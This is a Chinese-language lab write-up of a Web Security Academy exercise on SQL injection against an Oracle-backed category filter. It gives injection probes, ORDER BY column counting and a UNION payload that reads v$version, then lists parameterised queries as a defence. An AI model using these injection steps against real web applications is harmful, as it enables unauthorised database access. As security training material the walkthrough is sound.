Web Security Academy 第三关:SQL 注入查询 Oracle 数据库版本

前言

大家好,本篇是 Web Security Academy 第三关:SQL 注入查询数据库版本 逐图逐步骤详细教程,全程和你提供的截图完全对应,一步一步带你复现通关。

另外,我之前已经发布过 Oracle 数据库基础用法的文章,对 Oracle 不熟悉的朋友可以先去看那篇补课,本文专注实战注入。


关卡信息

  • 关卡名称:SQL injection attack, querying the database type and version on Oracle
  • 注入点:商品分类 category 参数
  • 数据库:Oracle
  • 目标:页面回显完整数据库版本信息
  • 通关条件:显示指定版本字符串

步骤 1:进入关卡初始页面

首先打开靶场,进入第三关。页面顶部明确提示:Make the database retrieve the string: "Oracle Database 11g Express Edition..."

下方是商品列表,分类包括:All、Accessories、Food & Drink、Gifts 等。这一步确认:注入点在 category 参数。


步骤 2:判断注入点 ------ 单引号测试

操作

在分类参数后直接加单引号:

plaintext

复制代码
category=Accessories'

页面结果

页面直接返回:Internal Server Error(500 错误)

请求包内容

plaintext

复制代码
GET /filter?category=Accessories%27 HTTP/2

响应:HTTP/2 500 Internal Server Error

结论

单引号破坏了后台 SQL 语句语法,存在字符型 SQL 注入。


步骤 3:ORDER BY 1 测试字段数

操作

plaintext

复制代码
category=Accessories' order by 1 --

页面结果

页面正常显示商品,无报错。说明当前字段数 ≥1。


步骤 4:ORDER BY 3 测试字段数

操作

plaintext

复制代码
category=Accessories' order by 3 --

页面结果(对应截图)

页面再次返回 500 错误。

请求包

plaintext

复制代码
GET /filter?category=Accessories%27%20order%20by%203%20-- HTTP/2

响应:500 错误。

结论

原查询字段数 小于 3。


步骤 5:ORDER BY 2 测试字段数

操作

plaintext

复制代码
category=Accessories' order by 2 --

页面结果(对应截图)

页面正常显示商品,无报错。

最终结论

原查询语句一共 2 个字段。


步骤 6:构造 UNION 注入爆出版本

Oracle 版本查询核心知识

我之前文章讲过:

  • Oracle 查询完整版本使用系统视图:v$version
  • 版本信息字段:banner
  • Oracle 必须写 FROM,不能像 MySQL 省略
  • UNION 注入必须字段数、类型对齐

最终 Payload

plaintext

复制代码
category=-1' UNION SELECT banner,null FROM v$version--

Payload 拆解

  1. -1':让原查询结果为空,只显示我们注入的内容
  2. UNION SELECT:联合查询
  3. banner,null:刚好 2 个字段,与原查询对齐
  4. FROM v$version:Oracle 查版本必须的系统视图
  5. --:注释掉后面的 SQL 语句

步骤 7:通关成功

页面显示

页面顶部显示:Congratulations, you solved the lab!

页面直接回显完整版本:

  • Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production
  • PL/SQL Release 11.2.0.2.0 - Production
  • CORE 11.2.0.2.0 Production
  • TNS for Linux: Version 11.2.0.2.0 - Production
  • NLSRTL Version 11.2.0.2.0 - Production

通关完成!


核心知识点总结

  1. 字符型注入判断:单引号触发 500 错误
  2. 字段数判断:ORDER BY 1→正常,2→正常,3→报错 → 共 2 字段
  3. Oracle 版本查询:SELECT banner FROM v$version
  4. UNION 注入必须:字段数一致、数据类型兼容
  5. 注释符:-- 闭合后面语句

安全防护建议

  1. 使用参数化查询 / 预编译语句
  2. 禁止网站业务账号访问 v$version 等系统视图
  3. 输入过滤与 WAF 防护

对 Oracle 数据库结构、系统视图、权限管理还不了解的朋友,快去看我之前发布的 Oracle 数据库基础用法 文章,基础扎实,注入更快更稳!

相关推荐
专业程序开发源2 小时前
flask家电故障预测系统92491-计算机课程设计/毕业设计
vscode·python·sql·算法·flask·课程设计
liulilittle2 小时前
Linux 下 select 测试函数
linux·服务器·网络·数据库·c++·select·c
DongQiShanRen2 小时前
玄龙(上):TICK 主循环——意识心跳怎么跳
linux·jvm·数据库·人工智能·数据挖掘·rust
数据库小学妹2 小时前
存算分离到底分离了什么?四条架构变化与选型判断
数据库·数据库架构·云原生数据库·缓存一致性·存算分离
FPGA小徐2 小时前
【一生一芯 / PA】异常响应机制:RISC-V 中 ecall → mtvec → mret 的完整代
开发语言·数据库·c#
m0_646429973 小时前
MySQL 初始化 SQL 中文乱码问题总结
数据库·sql·mysql
实战派K8S&DB3 小时前
TDSQL 核心模块与进程体系
运维·数据库·分布式·sql·mysql
FfHUCisI3 小时前
Go 性能分析工具 pprof:CPU、Heap 与 Goroutine 实战
数据库·golang
仍然.3 小时前
Redis---分布式锁
数据库·redis·分布式
ly76893 小时前
MongoDB 副本集选举风暴排查:从心跳超时到 Journal 刷盘阻塞
数据库·mongodb·php·mongodb 副本集·选举风暴·journal 刷盘·writeconcern